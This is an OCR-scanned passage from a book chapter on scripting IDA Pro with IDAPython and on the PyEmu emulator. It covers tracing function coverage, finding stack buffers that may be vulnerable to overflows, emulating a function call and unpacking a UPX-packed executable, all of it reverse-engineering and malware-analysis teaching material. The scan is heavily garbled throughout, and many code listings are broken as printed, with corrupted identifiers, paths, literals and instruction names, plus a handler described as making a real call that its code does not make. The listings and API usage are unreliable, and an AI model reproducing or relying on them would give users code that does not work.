IDAPylhon — Scripting IDA Pro 159
1 1.3.2 Function Code Coverage
When performing dynamic analysis on a target binary, it can be quite
useful to understand what code gets executed while you are using the target
executable. Whether this means testing code coverage on a networked appli-
cation after you send it a packet or using a document viewer after you’ve
opened a document, code coverage is a useful metric to understand how
an executable operates. We’ll use IDAPython to iterate through all of the
functions in a target binary and set breakpoints on the head of each address.
Then we’ll run the IDA debugger and use a debugger hook to print out a
notification every time a breakpoint gets hit. Open a new Python file, name
it func_coverage.py, and enter the following code.
funccoverage.py
from idaapi import *
class FuncCoverage(DBG_Hooks) :
# Our breakpoint handler
def dbg_bpt(self, tid, ea):
print "[*] Hit: 0x%08x" % ea
return
# Add our function coverage debugger hook
O debugger = FuncCoverageQ
debugger. hookQ
current_addr = ScreenEAQ
# Find all functions and add breakpoints
© for function in Functions(SegStart( current_addr ), SegEnd( current_addr )):
© AddBpt( function )
SetBptAttr( function, BPTATTR_FLAGS, 0x0 )
© num_breakpoints = GetBptOtyQ
print "[*] Set %d breakpoints." % num_breakpoints
First we set up our debugger hook O so that it gets called whenever
a debugger event is thrown. We then iterate through all of the function
addresses © and set a breakpoint on each address ©. The SetBptAttr call
sets a flag to tell the debugger not to stop when each breakpoint is hit; if we
don’t do this, then we will have to manually resume the debugger after each
breakpoint hit. We then print out the total number of breakpoints that are
set © . Our breakpoint handler prints out the address of each breakpoint that
was hit, using the ea variable, which is really a reference to the EIP register at
the time the breakpoint is hit. Now run the debugger (hotkey = F9) , and you
should start seeing output showing the functions that are hit. This should
give you a very high-level view of which functions get hit and in what order
they are executed.
160
Chapter 1 1
1 1.3.3 Calculating Stack Size
At times when assessing a binary for possible vulnerabilities, it’s important
to understand the stack size of particular function calls. This can tell you
whether there are just pointers being passed to a function or there are stack
allocated buffers, which can be of interest if you can control how much data
is passed into those buffers (possibly leading to a common overflow vulner-
ability) . Let’s write some code to iterate through all of the functions in a
binary and show us all functions that have stack-allocated buffers that may be
of interest. You could combine this script with our previous example to track
any hits to these interesting functions during a debugging run. Open a new
Python file, name it stack_calc.py, and enter the following code.
sta(k_<alc.py
from idaapi import *
O var_size_threshold = 16
current_address = ScreenEAQ
© for function in Functions(SegStart(current_address), SegEnd(current_address)) :
© stack_frame = GetFrame( function )
frame_counter = 0
prev_count = -1
© frame_size = GetStrucSize( stack_frame )
while frame_counter < frame_size:
© stack_var = GetMemberNames( stack_frame, frame_counter )
if stack_var !=
if prev_count != -l:
@ distance = frame_counter - prev_distance
if distance >= var_size_threshold:
print "[*] Function: %s -> Stack Variable: %s (%d bytes)"
% ( GetFunctionName(function), prev_member, distance )
else:
prev_count = frame_counter
prev_member = stack_var
0 try:
frame_counter = frame_counter + GetMemberSize(stack_frame,
frame_counter)
IDAPylhon — Scripting IDA Pro 161
except:
frame counter += 1
else:
frame counter += 1
We set a size threshold that determines how large a stack variable should
be before we consider it a buffer O; 16 bytes is an acceptable size, but feel free
to experiment with different sizes to see the results. We then begin iterating
through all of the functions ©, obtaining the stack frame object for each
function ©. Using the stack frame object, we use the GetStrucSize © method
to determine the size of the stack frame in bytes. We begin iterating through
the stack frame byte-by-byte, attempting to determine if a stack variable is
present at each byte offset ©. If a stack variable is present, we subtract the
current byte offset from the previous stack variable ©. Based on the distance
between the two variables, we can determine the size of the variable. If the
distance is not large enough, we attempt to determine the size of the current
stack variable © and increment the counter by the size of the current variable.
If we can’t determine the size of the variable, then we simply increase the
counter by a single byte and continue through our loop. After running this
against a binary, you should see some output (providing there are some stack-
allocated buffers), as shown below in Listing 11-2.
[*] Function: sub_l245 -> Stack Variable: var_C(l024 bytes)
[*] Function: sub_l49c -> Stack Variable: Mdl (24 bytes)
[*] Function: sub_a9aa -> Stack Variable: var_l4 (36 bytes)
Listing 1 1-2: Output from stack_calc.py script showing stack-allocated buffers and their
sizes
You should now have the fundamentals for using IDAPython and have
some core utility scripts that you can easily extend, combine, or enhance.
A couple of minutes in IDAPython scripting can save you hours of manual
reversing, and time is by far the greatest asset in any reversing scenario. Let’s
now take a look at PyEmu, the Python-based x86 emulator, which is an
excellent example of IDAPython in action.
162
Chapter 1 1
PYE MU —
THE SCRIPTABLE EMULATOR
PyEmu was released at BlackHat 2007 1 by Cody Pierce,
one of the talented members of the TippingPoint
DVLabs team. PyEmu is a pure Python IA32 emulator
that allows a developer to use Python to drive CPU
emulation tasks. Using an emulator can be very beneficial for reverse
engineering malware, when you don’t necessarily want the real malware
code to execute. And it can be useful for a whole host of other reverse
engineering tasks as well. PyEmu has three methods to enable emulation:
IDAPyEmu, PyDbgPyEmu, and PEPyEmu. The IDAPyEmu class allows you to run the
emulation tasks from inside IDA Pro using IDAPython (see Chapter 1 1 for
IDAPython coverage) . The PyDbgPyEmu class allows you to use the emulator
during dynamic analysis, which enables you to use real memory and register
values inside your emulator scripts. The PEPyEmu class is a standalone static-
analysis library that doesn’t require IDA Pro for disassembly. We will be
1 Cody’s BlackHat paper is available at https://www.blackhat.com/presentations/bh-usa-07/Pierce/
Whitepaper /bh-usa-0 7-pierce-WP.pdf.
covering the use of IDAPyEmu and PEPyEmu for our purposes and leave the
PyDbgPyEmu class as an exploration exercise for the reader. Let’s get PyEmu
installed in our development environment and then move on to the basic
architecture of the emulator.
12.1 Installing PyEmu
Installing PyEmu is quite simple; just download the zip file from http://www
. nostarch, com/ ghpython. htm.
Once you have the zip file downloaded, extract it to C:\PyEmu. Each time
you create a PyEmu script, you will have to set the path to the PyEmu codebase
using the following two Python lines:
sys . path . append ( " C : \Py Emu\" )
sys . path . append ( "C:\PyEmu\lib" )
That’s it! Now let’s dig into the architecture of the PyEmu system and
then move into creating some sample scripts.
12.2 PyEmu Overview
PyEmu is split into three main systems: PyCPU, PyMemory, and PyEmu. For the
most part you will be interacting only with the parent PyEmu class, which then
interacts with the PyCPU and PyMemory classes in order to perform all of the
low-level emulation tasks. When you are asking PyEmu to execute instructions,
it calls down into PyCPU to perform the actual execution. PyCPU then calls back
to PyEmu to request the necessary memory from PyMemory to fulfill the execution
task. When the instruction is finished executing and the memory is returned,
the reverse operation occurs.
We will briefly explore each of the subsystems and their various methods
to better understand how PyEmu does its dirty work. From there we’ll take
PyEmu for a spin under some real reversing scenarios.
12.2.1 PyCPU
The PyCPU class is the heart and soul of PyEmu, as it behaves just like the
physical CPU on the computer you are using right now. Its job is to execute
the actual instructions during emulation. When PyCPU is handed an instruction
to execute, it retrieves the instruction from the current instruction pointer
(which is determined either statically from IDA Pro/ PE PyEmu or dynamically
from PyDbg) and internally passes it to pydasm, which decodes the instruction
into its opcode and operands. Being able to independently decode instruct-
ions is what allows PyEmu to cleanly run inside of the various environments
that it supports.
For each instruction that PyEmu receives, it has a corresponding function.
For example, if the instruction CMP EAX, 1 was handed to PyCPU, it would
call the PyCPU CMPQ function to perform the actual comparison, retrieve any
necessary values from memory, and set the appropriate CPU flags to indicate
1 64 Chapter 1 2
whether the comparison passed or failed. Feel free to explore the PyCPU.py
file, which contains all of the supported instructions that PyEmu uses. Cody
went to great lengths to ensure that the emulator code is readable and under-
standable; exploring PyCPU is a great way to understand how CPU tasks are
performed at a low level.
12.2.2 PyMemory
The PyMemory class is a means for the PyCPU class to load and store the necessary
data used during the execution of an instruction. It is also responsible for
mapping the code and data sections of the target executable so that you can
access them properly from the emulator. Now that you have some background
on the two primary PyEmu subsystems, let’s take a look at the core PyEmu class
and some of its supported methods.
12.2.3 PyEmu
The parent PyEmu class is the main driver for the whole emulation process.
PyEmu was designed to be very lightweight and flexible so that you can rapidly
develop powerful emulator scripts without having to manage any low-level
routines. This is achieved by exposing helper functions that let you easily
control execution flow, modify register values, alter memory contents, and
much more. Let’s dig into some of these helper functions before developing
our first PyEmu scripts.
12.2.4 Execution
PyEmu execution is controlled through a single function, aptly named
executeQ. It has the following prototype:
execute( steps=l, start=OxO, end=OxO )
The execute method takes three optional arguments, and if no arguments
are supplied, it will begin executing at the current address of PyEmu. This
can either be the value of EIP during dynamic runs in PyDbg, the entry point
of the executable in the case of PEPyEmu, or the effective address that your
cursor is set to inside IDA Pro. The steps parameter determines how many
instructions PyEmu is to execute before stopping. When you use the start
parameter, you are setting the address for PyEmu to begin executing instruc-
tions, and it can be used with the steps parameter or the end parameter to
determine when PyEmu should stop executing.
1 2.2.5 Memory and Register Modifiers
It is extremely important that you are able to set and retrieve register and
memory values when running your emulation scripts. PyEmu breaks the mod-
ifiers into four separate categories: memory, stack variables, stack arguments,
PyEmu — The Scriplable Emulator lo5
and registers. To set or retrieve memory values, you use the get_memory() and
set_memory() functions, which have the following prototypes:
get_memory( address, size )
set_memory( address, value, size=0 )
The get_memory() function takes two parameters: the address parameter
tells PyErnu what memory address to query, and the size parameter deter-
mines the length of the data retrieved. The set_memory() function takes the
address of the memory to write to, the value parameter determines the value
of the data being written, and the optional size parameter tells PyErnu the
length of the data to be stored.
The two stack-based modification categories behave similarly and are
used for modifying function arguments and local variables in a stack frame.
They use the following function prototypes:
set_stack_argument( offset, value, name="" )
get_stack_argument( offset=OxO, name="" )
set_stack_variable( offset, value, name="" )
get_stack_variable( offset=OxO, name="" )
For the set_stack_argument(), you provide an offset from the ESP variable
and a value to set the stack argument to. Optionally you can provide a name
for the stack argument. Using the get_stack_argument() function, you then can
use either the offset parameter to retrieve the value or the name argument if
you have provided a custom name for the stack argument. An example of
this usage is shown here:
set_stack_argument( 0x8, 0x12345678, name="arg_0" )
get_stack_argument( 0x8 )
get_stack_argument( "arg_0" )
The set_stack_variable() and get_stack_variable() functions operate in
the exact same manner, except you are providing an offset from the EBP
register (when available) to set the value of local variables in the function’s
scope.
12.2.6 Handlers
Handlers provide a very flexible and powerful callback mechanism to enable
the reverser to observe, modify, or change certain points of execution. Eight
primary handlers are exposed from PyErnu: register handlers, library handlers,
exception handlers, instruction handlers, opcode handlers, memory handlers,
high-level memory handlers, and the program counter handler. Let’s quickly
cover each, and then we’ll be on our way to some real use cases.
166
Chapter 1 2
12.2.6.1 Register Handlers
Register handlers are used to watch for changes in a particular register. Any-
time the selected register is modified, your handler will be called. To set a
register handler you use the following prototype:
set_register_handler( register, register_handler_function )
set_register_handler( "eax ", eax_register_handler )
Once you have set the handler, you need to define the handler function,
using the following prototype:
def register_handler_function( emu, register, value, type ):
When the handler routine is called, the current PyEmu instance is
passed in first, followed by the register that you are watching and the value
of the register. The type parameter is set to a string to indicate either read or
ivrite. This is an incredibly powerful way to watch a register change over time,
and it also allows you to change the registers inside your handler routine if
required.
12.2.6.2 Library Handlers
Library handlers allow PyEmu to trap any calls to external libraries before the
actual call takes place. This allows the emulator to change how the function
call is made and the result it returns. To install a library handler, use the
following prototype:
set_library_handler( function, library_handler_function )
set_library_handler( "CreateProcessA", create_process_handler )
Once the library handler is installed, the handler callback needs to be
defined, like so:
def library_handler_function( emu, library, address ):
The first parameter is the current PyEmu instance. The library parameter
is set to the name of the function that was called, and the address parameter is
the address in memory where the imported function is mapped.
12.2.6.3 Exception Handlers
You should be fairly familiar with exception handlers from Chapter 2. They
operate much the same way inside the PyEmu emulator; any time an exception
occurs, the installed exception handler will be called. Currently, PyEmu
supports only the general protection fault, which allows you to handle any
PyEmu — The Scriplable Emulator ll>*
invalid memory accesses inside die emulator. To install an exception handler,
use the following prototype:
set_exception_handler( "GP", gp_exception_handler )
The handler routine needs to have the following prototype to handle
any exceptions passed to it:
def gp_exception_handler( emu, exception, address ):
Again, the first parameter is the current PyEmu instance, the exception
parameter is the exception code that is generated, and the address parameter
is set to the address where the exception occurred.
12.2.6.4 Instruction Handlers
Instruction handlers are a very powerful way to trap particular instructions
after they have been executed. This can come in handy in a variety of ways.
For example, as Cody points out in his BlackHat paper, you could install a
handler for the CMP instruction in order to watch for branch decisions being
made against the result of the CMP instruction’s execution. To install an
instruction handler, use the following prototype:
set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )
The handler function needs the following prototype defined:
def cmp_instruction_handler( emu, instruction, opl, op 2 , opB ):
The first parameter is the PyEmu instance, the instruction parameter
is the instruction that was executed, and the remaining three parameters
are the values of all of the possible operands that were used.
12.2.6.5 Opcode Handlers
Opcode handlers are very similar to instruction handlers in that they are
called when a particular opcode gets executed. This gives you a higher level
of control, as each instruction may have multiple opcodes depending on the
operands it is using. For example, the instruction PUSH EAX has an opcode of
0x50, whereas a PUSH 0x70 has an opcode of 0x6A, but the full opcode bytes
would be 0x6A70. To install an opcode handler, use the following prototype:
set_opcode_handler( opcode, opcode_handler )
set_opcode_handler( 0 x 50 , my_push_eax_handler )
set_opcode_handler( 0 x 6 A 70 , my_push_ 70 _handler )
168
Chapter 1 2
You simply set the opcode parameter to the opcode you wish to trap, and
set the second parameter to be your opcode handler function. You are not
limited to single-byte opcodes: If the opcode has multiple bytes, you can pass
in the whole set, as shown in the second example. The handler function needs
to have the following prototype defined:
def opcode_handler( emu, opcode, opl, op2, opB ):
The first parameter is the current PyEmu instance, the opcode parameter
is the opcode that was executed, and the final three parameters are the
values of the operands that were used in the instruction.
12.2.6.6 Memory Handlers
Memory handlers can be used to track specific data accesses to a particular
memory address. This can be very important when tracking an interesting
piece of data in a buffer or global variable and watching how that value
changes over time. To install a memory handler, use the following prototype:
set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )
You simply set the address parameter to the memory address you wish to
watch, and set the memory_handler parameter to your handler function. The
handler function needs to have the following prototype defined:
def memory_handler( emu, address, value, size, type )
The first parameter is the current PyEmu instance, the address parameter
is the address where the memory access occurred, the value parameter is the
value of the data being read or written, the size parameter is the size of the
data being written or read, and the type argument is set to a string value to
indicate either a read or a write.
12.2.6.7 High-Level Memory Handlers
High-level memory handlers allow you to trap memory accesses beyond a
particular address. By installing a high-level memory handler, you can monitor
all reads and writes to any memory, the stack or the heap. This allows you to
globally monitor memory accesses across the board. To install the various
high-level memory handlers, use the following prototypes:
set_memory_write_handler( memory_write_handler )
set_memory_read_handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )
PyEmu — The Scriplable Emulator lt}9
set_stack_write_handler( stack_write_handler )
set_stack_read_handler( stack_read_handler )
set_stack_access_handler( stack_access_handler )
set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler )
set_heap_access_handler( heap_access_handler )
For all of these handlers you are simply providing a handler function
to be called when one of the specified memory access events occurs. The
handler functions need to have the following prototypes:
def memory _write_handler( emu, address ):
def memory _read_handler( emu, address ):
def memory_access_handler( emu, address, type ):
The memory_write_handler and memory_read_handler functions simply
receive the current PyEmu instances and the address where the read or write
occurred. The access handler has a slightly different prototype because it
receives a third parameter, which is the type of memory access that occurred.
The type parameter is simply a string specifying read or write.
12.2.6.8 Program Counter Handler
The program counter handler allows you to trigger a handler call when
execution reaches a certain address in the emulator. Much like the other
handlers, this allows you to trap certain points of interest when the emulator is
executing. To install a program counter handler, use the following prototype:
set_pc_h a ndler( address, pc_handler )
set_pc_handler( 0x12345678, I2345678_pc_handler )
You are simply providing the address where the callback should occur
and the function that will be called when that address is reached during
execution. The handler function needs the following prototype to be defined:
def pc_handler( emu, address ):
You are again receiving the current PyEmu instance and the address
where the execution was trapped.
Now that we have covered the basics of using the PyEmu emulator and
some of its exposed methods, let’s begin using the emulator for some real-
life reversing scenarios. To start we’ll use IDAPyEmu to emulate a simple function
call inside a binary we have loaded into IDA Pro. The second exercise will be
to use PEPyEmu to unpack a binary that’s been packed with the open-source
executable compressor UPX.
170
Chapter 1 2
12.3 IDAPyEmu
Our first example will be to load an example binary into IDA Pro and use
PyEmu to emulate a simple function call. The binary is a simple C++ applica-
tion called addnum.exe that is available with the rest of the source for this
book at http://iuivw.nostarch.com/ghpython.htm. This binary simply takes two
numbers as command-line parameters and adds them together before
outputting the result. Let’s take a quick peek at the source before looking
at the disassembly.
addnum.cpp
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
int add_number( int numl, int num2 )
{
int sum;
sum = numl + num2;
return sum;
}
int main(int argc, char* argv[])
{
int numl, num2;
int return_value;
if( argc < 2 )
{
printf("You need to enter two numbers to add.Xn");
printf ("addnum.exe numl num2\n");
return 0;
}
O numl = atoi(argv[l] );
num2 = atoi(argv[2]);
© return_value = add_number( numl, num2 );
printf("Sum of %d + %d = %d",numl, num2, return_value );
return 0;
}
This simple program takes the two command-line arguments, converts
them to integers O, and then calls the add_number function © to add them
togedier. We are going to use the add_number function as our target for emula-
tion because it is quite easy to understand and the result is easily verified.
This will be a great starting point for learning how to use the PyEmu system
effectively.
PyEmu — The Scriplable Emulator 171
Now let’s take a look at the disassembly for the add_number function
before diving into the PyEmu code. Listing 12-1 shows the assembly code.
var_4= dword
ptr
-4
#
sum
variable
arg_0= dword
ptr
8
#
int
numl
arg_4= dword
ptr
OCh
#
int
num2
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_o]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
Listing 12-1 : Assembly code for the add_numbei function
We can see how the C++ source code translates into the assembly code
after it has been compiled. We are going to use PyEmu to set the two stack
variables arg _0 and arg_4 to any integer we choose and then trap the EAX
register when the function executes the retn instruction. The EAX register
will contain the sum of the two numbers that we have passed in. Although
this is an oversimplified function call, it provides an excellent starting point
for being able to emulate more complicated function calls and trapping their
return values.
1 2.3. 1 Function Emulation
The first step when creating a new PyEmu script is to make sure you
have the path to PyEmu set correctly. Open a new Python script, name it
addnum_function_call.py, and enter the following code.
addnumfunttiontall.py
import sys
sys . path . append ("C : WPyEmu" )
sys . path . append ("C : WPyEmuWlib" )
from PyEmu import *
Now that we have the path set up correctly, we can begin scripting out
the PyEmu function-calling code. First we have to map the code and data
sections of the binary we are reversing so that the emulator has some real
code to execute. Because we are using IDAPython, we will be using some
familiar functions (refer to the previous chapter on IDAPython for a refresher)
to load the binary’s sections into the emulator. Let’s continue to add to our
addnum_function_call.py script.
172
Chapter 1 2
addnum function call.py
O emu = IDAPyEmu()
# Load the binary's code segment
code_start = SegByName(" .text")
code_end = SegEnd( code_start )
© while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=l )
code_start += 1
print "[*] Finished loading code section into memory."
# Load the binary's data segment
data_start = SegByName(" .data")
data_end = SegEnd( data_start )
© while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=l )
data_start += 1
print "[*] Finished loading data section into memory."
First we instantiate the IDAPyEmu object O, which is necessary in order for
us to use any of the emulator’s methods. We then load the code © and data ©
sections of the binary into PyEmu’s memory. We are using the IDAPython
SegByNameQ function to find the beginning of the sections and the SegEndQ
function to determine the end of the sections. Then we simply iterate over the
sections byte by byte to store them in PyEmu’s memory. Now that we have the
code and data sections loaded into memory, we are going to set up the stack
parameters for the function call, install an instruction handler to be called
when the retn instruction is executed, and begin execution. Add the following
code to your script.
addnumfunctioncall.py
# Set EIP to start executing at the function head
© emu.set_register("EIP", 0x00401000)
# Set up the ret handler
© emu.set_mnemonic_handler("ret", ret_handler)
# Set the function parameters for the call
© emu.set_stack_argument(0x8, 0x00000001, name="arg_0")
emu.set_stack_argument(Oxc, 0x00000002, name="arg_4")
# There are 10 instructions in this function
© emu.execute( steps = 10 )
print "[*] Finished function emulation run."
PyEmu — The Scriplable Emulator 173
We first set EIP to the head of the function, which is located at
0x00401000 O; this is where PyEmu will begin executing instructions. Next
we set up the mnemonic, or instruction, handler to be called when the
function’s retn instruction is executed ©. The third step is to set the stack
parameters © for the function call. These are the two numbers to be added
together; in our case we are using oxoooooooi and 0x00000002. We then tell
PyEmu to execute all 10 instructions © contained within the function. The
last step is coding the retn instruction handler, so the final script should look
like the following.
addnumfunctioncall.py
import sys
sys . path . append ( "C : WPy Emu " )
sys . path . append ( "C : WPyEmuWlib" )
from PyEmu import *
def ret_handler(emu, address):
numl = emu.get_stack_argument("arg_0")
num2 = emu.get_stack_argument("arg_4")
sum = emu.get_register("EAX")
print "[*] Function took: %d, %d and the result is %d." % (numl, num2, sum)
return True
emu = IDAPyEmuQ
# Load the binary's code segment
code_start = SegByName(".text")
code_end = SegEnd( code_start )
while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=l )
code_start += 1
print "[*] Finished loading code section into memory."
# Load the binary's data segment
data_start = SegByName(" .data")
data_end = SegEnd( data_start )
while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=l )
data_start += 1
print "[*] Finished loading data section into memory."
# Set EIP to start executing at the function head
emu . set_register( " EIP" , 0x00401000)
# Set up the ret handler
emu . set_mnemonic_handler ( "ret " , ret_handler)
# Set the function parameters for the call
emu.set_stack_argument(0x8, 0x00000001, name="arg_0")
emu.set_stack_argument(Oxc, 0x00000002, name="arg_4")
# There are 10 instructions in this function
emu.execute( steps = 10 )
print "[*] Finished function emulation run."
The ret instruction handler O simply retrieves the stack arguments
and the value of the EAX register and outputs the result of the function call.
Load the addnum.exe binary into IDA, and run the PyEmu script as you would
run a regular IDAPython file (see Chapter 1 1 if you need a refresher) . Using
the previous script as is, you should see output as shown in Listing 12-2.
[*] Finished loading code section into memory.
[*] Finished loading data section into memory.
[*] Function took 1, 2 and the result is 3.
[*] Finished function emulation run.
Listing 12-2: Output from our IDAPyEmu function emulator
Pretty simple! We can see that it successfully traps the stack arguments
and retrieves the EAX register (the sum of the two arguments) when it’s
finished. Practice loading different binaries into IDA, pick a random function,
and try to emulate calls to it. You’d be amazed at how powerful this technique
can be when a function has hundreds or thousands of instructions with many
branches, loops, and return points. Using this method of reversing a function
can save you hours of manual reversing. Now let’s use the PEPyEmu library
to unpack a compressed executable.
12.3.2 PEPyEmu
The PEPyEmu class provides a way for you, the reverser, to use PyEmu in a static
analysis environment without the use of IDA Pro. It will take the executable
on disk, map the necessary sections into memory, and then utilize pydasm to
do all of the instruction decoding. We will use PEPyEmu in a real reversing
scenario where we will be taking a packed executable and running it through
the emulator to dump out the executable after it has been unpacked. The
packer we are targeting is the Ultimate Packer for Executables (UPX) , 2
an open source packer that many malware variants use to try to keep the
executable’s file size small and confuse static-analysis attempts. First, let’s get
an idea of what a packer is and how it works, and then we’ll pack an executable
using UPX. Our final step will be to use a custom PyEmu script that Cody
2 The Ultimate Packer for eXecutables is available at http://upx.sourceforge.net/.
PyEmu — The Scriplable Emulator 175
Pierce has provided to unpack the executable and dump the resulting binary
to disk. Once you have the binary dumped, you can apply normal static-
analysis techniques to reverse engineer the code.
12.3.3 Executable Packers
Executable packers or compressors have been around for quite some time.
Originally they were used to reduce the size of an executable so that it could
fit on a 1.44MB floppy disk, but they have since grown to be a major part of
code obfuscation for malware authors. A typical packer will compress the code
and data segments of the target binary and replace the entry point with a
decompressor. When the binary is executed, the decompressor runs, which
decompresses the original binary into memory, and then jumps to the original
entry point (OEP) of the binary. Once the OEP is reached, the binary begins
executing normally. When faced with a packed executable, a reverser must
first get rid of the packer in order to effectively analyze the true binary con-
tained within. You can typically use a debugger to perform such tasks, but
malware authors have become more vigilant in recent years and write anti-
debugging routines into the packers so that using a debugger against the
packed executable becomes very difficult. This is where using an emulator
can be beneficial, as no debugger is being attached to the running executable;
we are simply running the code inside the emulator and waiting for the
decompression routine to finish. Once the packer has finished decompressing
the original file, we want to dump the uncompressed binary to disk so that
we can load it into either a debugger or a static analysis tool like IDA Pro.
We are going to use UPX to compress the calc.exe file that ships with all
flavors of Windows, and then we’ll use a PyEmu script to unpack the execut-
able and dump it to disk. This technique can be used for other packers as
well, and it will serve as a great starting point for developing more advanced
scripts to deal with the various compression schemes found in the wild.
12.3.4 UPX Packer
UPX is a free, open source executable packer that works on Linux, Windows,
and a host of other executable types. It offers varying levels of compression and
a myriad of additional options for changing the target executable during the
packing process. We are going to apply only basic compression to our target
executable, but feel free to explore the options that UPX supports.
To start, download the UPX executable from http://upx.sourceforge. net.
Once the file is downloaded, extract the Zip file to your C: directory. You
have to operate UPX from the command line because it does not currently
offer a GET. From your command shell, change into the C:\upx303w\ directory
where the UPX executable is located, and enter the following command:
C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system32\calc.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008
UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2008
176
Chapter 1 2
File size
Ratio
Format
Name
114688 -> 56832 49.55% win32/pe calc_upx.exe
Packed 1 file.
C:\upx303w>
This will produce a compressed version of die Windows calculator and
store it in your C: directory. The -0 flag dictates the filename that the packed
executable should be saved under; in our case we save it as calc_upx.exe. We
now have a fully packed file to test in our PyEmu harness, so let’s get coding!
12.3.5 Unpacking UPX with PEPyEmu
The UPX packer uses a fairly straightforward method for compressing
executables: it re-creates the executable’s entry point so that it points to the
unpacking routine and adds two custom sections to the binary. These sections
are named UPXo and UPXi. If you load the compressed executable into Immunity
Debugger and examine the memory layout (alt-M), you’ll see that the
executable has a memory map similar to what’s shown in Listing 12-3:
Address
Size
Owner
Section
Contains
Access
Initial Access
00100000
00001000
calc_upx
PE Header
R
RWE
01001000
00019000
calc_upx
UPXO
RWE
RWE
0101A000
00007000
calc_upx
UPXi
code
RWE
RWE
01021000
00007000
calc_upx
.rsrc
data, imports RW
RWE
resources
Listing 12-3: Memory layout of a UPX compressed executable.
We can see that the UPXi section contains code, and this is where the
UPX packer creates the main unpacking routine. The packer runs its unpack-
ing routine in this section, and when it is finished, it IMPs out of the UPXi
section and into the “real” binary’s executable code. All we need to do is let
the emulator run through this unpacking routine and detect a DMP instruction
that takes EIP out of the UPXi section, and we should be at the original entry
point of the executable.
Now that we have an executable that’s been packed with UPX, let’s
utilize PyEmu to unpack and dump the original binary to disk. We are going
to be using the standalone PEPyEmu module this time around, so open a new
Python file, name it upx_unpacker.py, and punch in the following code.
upxunpacker.py
from ctypes import *
# You must set your path to pyemu
sys . path . append ("C : WPyEmu" )
sys . path . append ("C : WPyEmuWlib" )
from PyEmu import PEPyEmu
# Commandline arguments
exename = sys.argv[l]
PyEmu — The Scriplable Emulator 177
output-file = sys.argv[2]
# Instantiate our emulator object
emu = PEPyEmuQ
if exename:
# Load the binary into PyEmu
O if not emu. load (exename) :
print "[!] Problem loading %s" % exename
sys.exit(2)
else:
print "[!] Blank filename specified"
sys.exit(B)
© # Set our library handlers
emu . set_library_handler( " LoadLibraryA" , loadlibrary )
emu.set_library_handler("GetProcAddress", getprocaddress)
emu.set_library_handler("VirtualProtect", virtualprotect)
# Set a breakpoint at the real entry point to dump binary
© emu.set_mnemonic_handler( "jmp", jmp_handler )
# Execute starting from the header entry point
© emu.execute( start=emu.entry_point )
We begin by loading the compressed executable into PyEmu O. We then
install library handlers © for LoadLibraryA, GetProcAddress, and VirtualProtect.
All of these functions will be called in the unpacking routine, so we need to
make sure that we trap those calls and then make real function calls with the
parameters that UPX is using. The next step is to handle the case when the
unpacking routine is finished and jumps to the OEP. We do this by installing
a mnemonic handler for the IMP instruction ©. Finally we tell the emulator
to begin executing at the executable’s entry point ©. Now let’s create our
library and instruction handlers. Add the following code.
upxunpacker.py
from ctypes import *
# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import PEPyEmu
HMODULE WINAPI LoadLibrary(
in LPCTSTR lpFileName
);_
© def loadlibrary(namej address) :
# Retrieve the DLL name
dllname = emu.get_memory_string(emu.get_memory(emu.get_register("ESP") + 4))
# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32. LoadLibraryA(dllname)
emu . set_register( "EAX " , dllhandle)
# Reset the stack and return from the handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu . set_register ( " E IP " , return_address)
178 Chapter 1 2
return True
FARPROC WINAPI GetProcAddress(
in H MODULE hModule,
in LPCSTR IpProcName
);_
© def getprocaddress(name, address):
# Get both arguments, which are a handle and the procedure name
handle = emu.get_memory(emu.get_register("ESP") + 4)
proc_name = emu.get_memory(emu.get_register("ESP") + 8)
# IpProcName can be a name or ordinal, if top word is null it's an ordinal
if (proc_name >> 16):
procname = emu . get_memory_string(emu . get_memory (emu . get_register ( " ESP " )
+ 8))
else:
procname = arg2
# Add the procedure to the emulator
emu.os.add_library(handle, procname)
import_address = emu.os.get_library_address(procname)
# Return the import address
emu . set_register( "EAX" , import_address)
# Reset the stack and return from our handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu . set_register ( " E IP " , return_address)
return True
BOOL WINAPI VirtualProtect(
in LPVOID IpAddress,
in SIZE_T dwSize,
in DWORD flNewProtect,
out PDWORD lpflOldProtect
);_
© def virtualprotect(name, address):
# lust return TRUE
emu.set_register("EAX", l)
# Reset the stack and return from our handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 16)
emu . set_register ( " E IP " , return_address)
return True
# When the unpacking routine is finished, handle the IMP to the OEP
© def jmp_handler(emu, mnemonic, eip, opl, op2, op3):
# The UPXl section
if eip < emu. sections ["UPXl"] ["base"]:
print "[*] We are jumping out of the unpacking routine."
print "[*] OEP = 0x%08x" % eip
# Dump the unpacked binary to disk
PyEmu — The Scriplable Emulator 179
dump_unpacked(emu)
# We can stop emulating now
emu. emulating = False
return True
Our Load Library handler O traps the DLL name from the stack before
using ctypes to make an actual call to LoadLibraryA, which is exported from
kernel32.dll. When the real call returns, we set die EAX register to the returned
handle value, reset the emulator’s stack, and return from the handler. In
much the same way, the GetProcAddress handler © retrieves the two function
parameters from the stack and makes the real call to GetProcAddress, which is
also exported from kernel32.dll. We then return the address of the procedure
that was requested before resetting the emulator’s stack and returning from
the handler. The VirtualProtect handler © returns a value of True, resets the
emulator’s stack, and returns from the handler. The reason we don’t make a
real VirtualProtect call here is because we don’t need to actually protect any
